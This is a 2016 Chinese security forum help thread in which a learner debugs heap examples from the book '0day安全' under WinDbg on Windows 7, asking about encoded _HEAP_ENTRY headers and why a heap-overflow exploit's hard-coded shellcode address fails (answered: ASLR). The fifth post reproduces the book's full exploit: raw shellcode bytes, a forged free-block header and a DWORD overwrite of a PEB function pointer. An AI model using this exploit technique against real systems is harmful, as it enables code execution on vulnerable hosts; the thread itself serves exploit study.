首页
社区
课程
招聘
[求助]windbg调试堆碰到的问题
发表于: 2016-7-16 16:08 6071

[求助]windbg调试堆碰到的问题

2016-7-16 16:08
6071
书中 《0day 安全 软件漏洞分析(第2版)》里第5章有关堆的问题,例子代码如下:

#include <windows.h>


void main()
{
	HLOCAL	h1, h2, h3, h4, h5, h6;
	HANDLE	hp;

	hp	= HeapCreate(0, 0x1000, 0x10000);

	__asm int 3;

	h1	= HeapAlloc(hp, HEAP_ZERO_MEMORY, 3);
	h2	= HeapAlloc(hp, HEAP_ZERO_MEMORY, 5);
	h3	= HeapAlloc(hp, HEAP_ZERO_MEMORY, 6);
	h4	= HeapAlloc(hp, HEAP_ZERO_MEMORY, 8);
	h5	= HeapAlloc(hp, HEAP_ZERO_MEMORY, 19);
	h6	= HeapAlloc(hp, HEAP_ZERO_MEMORY, 24);

	HeapFree(hp, 0, h1);
	HeapFree(hp, 0, h3);
	HeapFree(hp, 0, h5);

	HeapFree(hp, 0, h4);

	return 0;	
}


在分配完h6后(free之前), 堆的信息如下:
0:000> !heap -h -f 0x1db0000 
Index   Address  Name      Debugging options enabled
  7:   01db0000 
    Segment at 01db0000 to 01dc0000 (00001000 bytes committed)
    Flags:                00001000
    ForceFlags:           00000000
    Granularity:          8 bytes
    Segment Reserve:      00100000
    Segment Commit:       00002000
    DeCommit Block Thres: 00000200
    DeCommit Total Thres: 00002000
    Total Free Size:      0000013b
    Max. Allocation Size: 7ffdefff
    Lock Variable at:     01db0138
    Next TagIndex:        0000
    Maximum TagIndex:     0000
    Tag Entries:          00000000
    PsuedoTag Entries:    00000000
    Virtual Alloc List:   01db00a0
    Uncommitted ranges:   01db0090
    FreeList[ 00 ] at 01db00c4: 01db0610 . 01db0610  
        01db0608: 00020 . 009d8 [100] - free

    Heap entries for Segment00 in Heap 01db0000
        01db0000: 00000 . 00588 [101] - busy (587)
        01db0588: 00588 . 00010 [101] - busy (3)
        [COLOR="Blue"][B]01db0598: 00010 . 00010 [101] - busy (5)[/B][/COLOR]
        01db05a8: 00010 . 00010 [101] - busy (6)
        01db05b8: 00010 . 00010 [101] - busy (8)
        01db05c8: 00010 . 00020 [101] - busy (13)
        01db05e8: 00020 . 00020 [101] - busy (18)
        01db0608: 00020 . 009d8 [100]
        01db0fe0: 009d8 . 00020 [111] - busy (1d)
        01db1000:      0000f000      - uncommitted bytes.

注:
0x1db0000为堆指针(即 heapcreate()返回的hp)


查看h2所对应的 heap_entry 信息,如下:

0:000> dt _HEAP_ENTRY 0x1db0598
ntdll!_HEAP_ENTRY
   +0x000 Size             : 0xdb6b
   +0x002 Flags            : 0x37 '7'
   +0x003 SmallTagIndex    : 0x7d '}'
   +0x000 SubSegmentCode   : 0x7d37db6b Void
   +0x004 PreviousSize     : 0x1654
   +0x006 SegmentOffset    : 0 ''
   +0x006 LFHFlags         : 0 ''
   +0x007 UnusedBytes      : 0xb ''
   +0x000 FunctionIndex    : 0xdb6b
   +0x002 ContextValue     : 0x7d37
   +0x000 InterceptorValue : 0x7d37db6b
   +0x004 UnusedBytesLength : 0x1654
   +0x006 EntryOffset      : 0 ''
   +0x007 ExtendedBlockSignature : 0xb ''
   +0x000 Code1            : 0x7d37db6b
   +0x004 Code2            : 0x1654
   +0x006 Code3            : 0 ''
   +0x007 Code4            : 0xb ''
   +0x000 AgregateCode     : 0xb001654`7d37db6b


问题:
“heap_entry 头” 不是只有8字节吗?上面这段应该不止16自己了,为何?且内容该如何理解?“heap_entry 头” 的结构体是怎样的?

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (5)
雪    币: 2595
活跃值: (4489)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
你用的什么系统?win7?那本书的例子除非做了说明,一般都是在xp上实验的。
2016-7-16 20:37
0
雪    币: 74
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
我用的是win7。没错,书上确实不是用win7,但我想试试.......
2016-7-16 20:39
0
雪    币: 2595
活跃值: (4489)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
vista开始的系统heap结构有改动,heap_entry做了编码,直接windbg看不出结果,但是长度还是8字节。你给的这个它是8字节。最左边那列表示的是偏移,最大为0x07,再结合各字段大小就是8字节,只是你这里windbg给你解释成了三种结构类型。
2016-7-16 20:46
0
雪    币: 74
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
书里的代码:

hp  = HeapCreate(0, 0x1000, 0x10000);

在win2000里(书里的环境),这个 hp 是不是每次运行都一样(比如:书里是 0x520000)?

注:
我用的是win7,每次 hp 都不一样。因此,书里174页有关堆的shellcode部分我总是不能确定shellcode的起始地址,具体如下:
[COLOR="Blue"][B]下面红色字部分 0x520688是个固定的地址(书里是win2000的环境);在我目前的运行环境win7中,
却不是固定的,每次都不一样。具体点:偏移0x688是一样的,但起始地址就不是0x520000,且每次运行的起始地址都
不一样[/B][/COLOR]

#include <windows.h>

char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
//repaire the pointer which shooted by heap over run
"\xB8\x20\xF0\xFD\x7F"  //MOV EAX,7FFDF020
"\xBB\x4C\xAA\xF8\x77"  //MOV EBX,77F8AA4C the address here may releated to your OS
"\x89\x18"				//MOV DWORD PTR DS:[EAX],EBX
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1A\x00\x00\x10\x00\x00"// head of the ajacent free block
"[COLOR="Red"][B]\x88\x06\x52\x00[/B][/COLOR]\x20\xf0\xfd\x7f";
//[COLOR="Red"]0x00520688 is the address of shellcode in first heap block, you have to make sure this address 
via debug[/COLOR] 
//0x7ffdf020 is the position in PEB which hold a pointer to RtlEnterCriticalSection()
//and will be called by ExitProcess() at last


main()
{
	HLOCAL h1 = 0, h2 = 0;
	HANDLE hp;
	hp = HeapCreate(0,0x1000,0x10000);
	h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
	
	memcpy(h1,shellcode,0x200); //overflow,0x200=512
	h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
	return 0;
}
2016-7-17 14:54
0
雪    币: 2595
活跃值: (4489)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
你自己科普下ASLR机制。
2016-7-17 22:37
0
游客
登录 | 注册 方可回帖
返回